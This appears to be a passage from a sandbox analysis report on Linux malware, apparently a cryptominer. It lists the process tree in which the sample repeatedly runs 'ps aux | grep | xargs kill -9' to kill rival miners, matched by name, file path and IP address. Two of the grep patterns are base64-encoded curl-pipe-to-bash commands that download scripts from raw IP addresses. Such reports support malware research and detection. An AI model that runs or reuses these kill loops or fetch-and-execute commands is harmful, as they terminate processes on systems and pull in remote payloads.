  - Reads CPU attributes
  PID:1079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1089
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1088
- /bin/grep
  grep -v grep
  2⤵
  PID:1087
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1090
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1086
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1097
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1096
- /bin/grep
  grep -v grep
  2⤵
  PID:1095
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1098
- /bin/ps
  ps aux
  2⤵
  PID:1094
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1105
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1104
- /bin/grep
  grep -v grep
  2⤵
  PID:1103
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1106
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1102
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1111
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1110
- /bin/grep
  grep -v grep
  2⤵
  PID:1109
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1112
- /bin/ps
  ps aux
  2⤵
  PID:1108
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:1116
- /bin/grep
  grep -v grep
  2⤵
  PID:1115
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1117
- /bin/ps
  ps aux
  2⤵
  PID:1114
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1118
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1126
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1125
- /bin/grep
  grep HiPxCJRS
  2⤵
  PID:1124
- /bin/grep
  grep -v grep
  2⤵
  PID:1123
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1131
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:1130
- /bin/grep
  grep -v grep
  2⤵
  PID:1129
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1132
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1128
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1136
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:1135
- /bin/grep
  grep -v grep
  2⤵
  PID:1134
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1137
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1133
- /bin/grep
  grep -v grep
  2⤵
  PID:1140
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1143
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:1141
- /bin/ps
  ps aux
  2⤵
  PID:1139
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1142
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1147
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:1146
- /bin/grep
  grep -v grep
  2⤵
  PID:1145
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1144
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1148
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1152
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1151
- /bin/grep
  grep -v grep
  2⤵
  PID:1150
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1153
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1149
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1156
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1157
- /bin/grep
  grep -v grep
  2⤵
  PID:1155
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1154
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1158
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1162
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:1161
- /bin/grep
  grep -v grep
  2⤵
  PID:1160
- /bin/ps
  ps aux
  2⤵
  PID:1159
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1165
- /bin/grep
  grep -v grep
  2⤵
  PID:1164
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1167
- /bin/ps
  ps aux
  2⤵
  PID:1163
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1166
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1170
- /bin/grep
  grep -v grep
  2⤵
  PID:1169
- /bin/ps
  ps aux
  2⤵
  PID:1168
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1172
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1171
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1173
- /bin/grep
  grep -v grep
  2⤵
  PID:1174
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:1175
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1176
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1177
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1181
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1180
- /bin/grep
  grep -v grep
  2⤵
  PID:1179
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1182
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1178
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1186
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1185
- /bin/grep
  grep -v grep
  2⤵
  PID:1184
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1187
- /bin/ps
  ps aux
  2⤵
  PID:1183
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:1190
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1191
- /bin/grep
  grep -v grep
  2⤵
  PID:1189
- /bin/ps
  ps aux
  2⤵
  PID:1188
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1192
- /bin/grep
  grep -v aux
  2⤵
  PID:1195
- /bin/grep
  grep -v grep
  2⤵
  PID:1194
- /bin/grep
  grep "]"
  2⤵
  PID:1196
- /bin/ps
  ps aux
  2⤵
  PID:1193
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1197
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1198
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:1201
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1202
- /bin/grep
  grep -v grep
  2⤵
  PID:1200
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1203
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1199
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:1206
- /bin/grep
  grep -v grep
  2⤵
  PID:1205
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1204
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1208
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1207
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1212
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:1211
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1213
- /bin/grep
  grep -v grep
  2⤵
  PID:1210
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1209
- /bin/grep
  grep -v -
  2⤵
  PID:1217
- /bin/grep
  grep -v /
  2⤵
  PID:1216
- /bin/grep
  grep -v grep
  2⤵
  PID:1215
- /bin/grep
  grep -v _
  2⤵
  PID:1218
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1214
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1219
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1220
- /bin/grep
  grep -v grep
  2⤵
  PID:1222
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1221
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1223
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1224
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1225
- /bin/grep
  grep rsync
  2⤵
  PID:1228
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1229
- /bin/grep
  grep -v grep
  2⤵
  PID:1227
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1230
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1226
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1234
- /bin/grep
  grep watchd0g
  2⤵
  PID:1233
- /bin/grep
  grep -v grep
  2⤵
  PID:1232
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1235
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1231
- /bin/grep
  grep -v grep
  2⤵
  PID:1237
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1236
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1239
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1240
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1245
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:1244
- /bin/grep
  grep -v grep
  2⤵
  PID:1243
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1246
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1242
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1251
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1250
- /bin/grep
  grep -v grep
  2⤵
  PID:1249
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1252
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1248
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1258
- /bin/grep
  grep gitee.com
  2⤵
  PID:1257
- /bin/grep
  grep -v grep
  2⤵
  PID:1256
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1259
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1255
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1265
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1264
- /bin/grep
  grep -v grep
  2⤵
  PID:1263
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1266
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1262
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1270
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1269
- /bin/grep
  grep -v grep
  2⤵
  PID:1268
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1271
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1267
- /bin/grep
  grep -v grep
  2⤵
  PID:1275
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1274
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1276
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1277
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1278
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1284
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1283
- /bin/grep
  grep -v grep
  2⤵
  PID:1282
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1285
- /bin/ps
  ps aux
  2⤵
  PID:1281
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1289
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1288
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1290
- /bin/grep
  grep -v grep
  2⤵
  PID:1287
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1286
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1296
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1297
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1295
- /bin/grep
  grep -v grep
  2⤵
  PID:1294
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1293
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1303
- /bin/grep
  grep netdns
  2⤵
  PID:1302
- /bin/grep
  grep -v grep
  2⤵
  PID:1301
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1300
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1304
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1308
- /bin/grep
  grep watchdogs
  2⤵
  PID:1307
- /bin/grep
  grep -v grep
  2⤵
  PID:1306
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1309
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1305
- /bin/grep
  grep -v dblaunch
  2⤵
  PID:1314
- /bin/grep
  grep -v root
  2⤵
  PID:1313
- /bin/grep
  grep -v dblaunchs
  2⤵
  PID:1315
- /bin/grep
  grep -v grep
  2⤵
  PID:1312
- /bin/ps
  ps aux
  2⤵
  PID:1311
- /bin/grep
  grep -v dblaunched
  2⤵
  PID:1317
- /bin/grep
  grep -v apache2
  2⤵
  PID:1318
- /bin/grep
  grep -v atd
  2⤵
  PID:1319
- /bin/grep
  grep -v kdevtmpfsi
  2⤵
  PID:1320
- /usr/bin/awk
  awk "\$3>80.0{print \$2}"
  2⤵
  PID:1321
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1322
- /bin/grep
  grep " ps"
  2⤵
  PID:1326
- /bin/grep
  grep -v aux
  2⤵
  PID:1325
- /bin/grep
  grep -v grep
  2⤵
  PID:1324
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1327
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1328
- /bin/ps
  ps aux
  2⤵
  PID:1323
- /bin/grep
  grep sync_supers
  2⤵
  PID:1333
- /bin/grep
  grep -v grep
  2⤵
  PID:1332
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1331
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1335
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1334
- /bin/grep
  grep cpuset
  2⤵
  PID:1340
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1341
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1338
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1342
- /bin/grep
  grep -v grep
  2⤵
  PID:1339
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1344
- /bin/grep
  grep -v grep
  2⤵
  PID:1345
- /bin/grep
  grep -v aux
  2⤵
  PID:1346
- /bin/grep
  grep "x]"
  2⤵
  PID:1347
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1348
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1349
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1354
- /bin/grep
  grep -v aux
  2⤵
  PID:1353
- /bin/grep
  grep -v grep
  2⤵
  PID:1352
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1355
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1356
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1351
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1362
- /bin/grep
  grep -v aux
  2⤵
  PID:1361
- /bin/grep
  grep -v grep
  2⤵
  PID:1360
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1364
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1359
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1363
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1369
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1368
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1370
- /bin/grep
  grep -v grep
  2⤵
  PID:1367
- /bin/ps
  ps aux
  2⤵
  PID:1366
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1375
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1374
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1376
- /bin/grep
  grep -v grep
  2⤵
  PID:1373
- /bin/ps
  ps aux
  2⤵
  PID:1372
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1382
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1381
- /bin/grep
  grep -v grep
  2⤵
  PID:1380
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1383
- /bin/ps
  ps aux
  2⤵
  PID:1379
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1388
- /bin/grep
  grep -v grep
  2⤵
  PID:1387
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1386
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1389
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1390
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1394
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1393
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1395
- /bin/grep
  grep -v grep
  2⤵
  PID:1392
- /bin/ps
  ps aux
  2⤵
  PID:1391
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1398
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1399
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1400
- /bin/grep
  grep -v grep
  2⤵
  PID:1397
- /bin/ps
  ps aux
  2⤵
  PID:1396
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1403
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1404
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1405
- /bin/grep
  grep -v grep
  2⤵
  PID:1402
- /bin/ps
  ps aux
  2⤵
  PID:1401
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1409
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:1408
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1410
- /bin/grep
  grep -v grep
  2⤵
  PID:1407
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1406
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:1413
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1414
- /bin/grep
  grep -v grep
  2⤵
  PID:1412
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1415
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1411
- /bin/grep
  grep sustse
  2⤵
  PID:1418
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1420
- /bin/grep
  grep -v grep
  2⤵
  PID:1417
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1416
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1424
- /bin/grep
  grep sustse3
  2⤵
  PID:1423
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1425
- /bin/grep
  grep -v grep
  2⤵
  PID:1422
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1421
- /bin/grep
  grep wget
  2⤵
  PID:1429
- /bin/grep
  grep mr.sh
  2⤵
  PID:1428
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1430
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1431
- /bin/grep
  grep -v grep
  2⤵
  PID:1427
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1426
- /bin/grep
  grep mr.sh
  2⤵
  PID:1434
- /bin/grep
  grep curl
  2⤵
  PID:1435
- /bin/grep
  grep -v grep
  2⤵
  PID:1433
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1436
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1437
- /bin/ps
  ps aux
  2⤵
  PID:1432
- /bin/grep
  grep wget
  2⤵
  PID:1441
- /bin/grep
  grep -v grep
  2⤵
  PID:1439
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1440
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1443
- /bin/ps
  ps aux
  2⤵
  PID:1438
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1442
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1446
- /bin/grep
  grep curl
  2⤵
  PID:1447
- /bin/grep
  grep -v grep
  2⤵
  PID:1445
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1448
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1449
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1444
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1452
- /bin/grep
  grep wget
  2⤵
  PID:1453
- /bin/grep
  grep -v grep
  2⤵
  PID:1451
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1454
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1455
- /bin/ps
  ps aux
  2⤵
  PID:1450
- /bin/grep
  grep curl
  2⤵
  PID:1459
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1458
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1460
- /bin/grep
  grep -v grep
  2⤵
  PID:1457
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1461
- /bin/ps
  ps aux
  2⤵
  PID:1456
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1464
- /bin/grep
  grep -v grep
  2⤵
  PID:1463
- /bin/grep
  grep wget
  2⤵
  PID:1465
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1466
- /bin/ps
  ps aux
  2⤵
  PID:1462
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1467
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1470
- /bin/grep
  grep curl
  2⤵
  PID:1471
- /bin/grep
  grep -v grep
  2⤵
  PID:1469
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1472
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1473
- /bin/ps
  ps aux
  2⤵
  PID:1468
- /bin/grep
  grep j2.conf
  2⤵
  PID:1476
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1477
- /bin/grep
  grep -v grep
  2⤵
  PID:1475
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1478
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1474
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1481
- /bin/grep
  grep wget
  2⤵
  PID:1482
- /bin/grep
  grep -v grep
  2⤵
  PID:1480
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1484
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1479
- /bin/grep
  grep curl
  2⤵
  PID:1488
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1487
- /bin/grep
  grep -v grep
  2⤵
  PID:1486
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1490
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1489
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1485
- /bin/grep
  grep ficov
  2⤵
  PID:1493
- /bin/grep
  grep wget
  2⤵
  PID:1494
- /bin/grep
  grep -v grep
  2⤵
  PID:1492
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1496
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1495
- /bin/ps
  ps aux
  2⤵
  PID:1491
- /bin/grep
  grep curl
  2⤵
  PID:1500
- /bin/grep
  grep ficov
  2⤵
  PID:1499
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1501
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1502
- /bin/grep
  grep -v grep
  2⤵
  PID:1498
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/grep
  grep wget
  2⤵
  PID:1506
- /bin/grep
  grep he.sh
  2⤵
  PID:1505
- /bin/grep
  grep -v grep
  2⤵
  PID:1504
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1507
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1508
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1503
- /bin/grep
  grep curl
  2⤵
  PID:1512
- /bin/grep
  grep he.sh
  2⤵
  PID:1511
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1513
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1514
- /bin/grep
  grep -v grep
  2⤵
  PID:1510
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1509
- /bin/grep
  grep miner.sh
  2⤵
  PID:1517
- /bin/grep
  grep wget
  2⤵
  PID:1518
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1519
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1520
- /bin/grep
  grep -v grep
  2⤵
  PID:1516
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1515
- /bin/grep
  grep miner.sh
  2⤵
  PID:1523
- /bin/grep
  grep curl
  2⤵
  PID:1524
- /bin/grep
  grep -v grep
  2⤵
  PID:1522
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1525
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1526
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1521
- /bin/grep
  grep wget
  2⤵
  PID:1530
- /bin/grep
  grep nullcrew
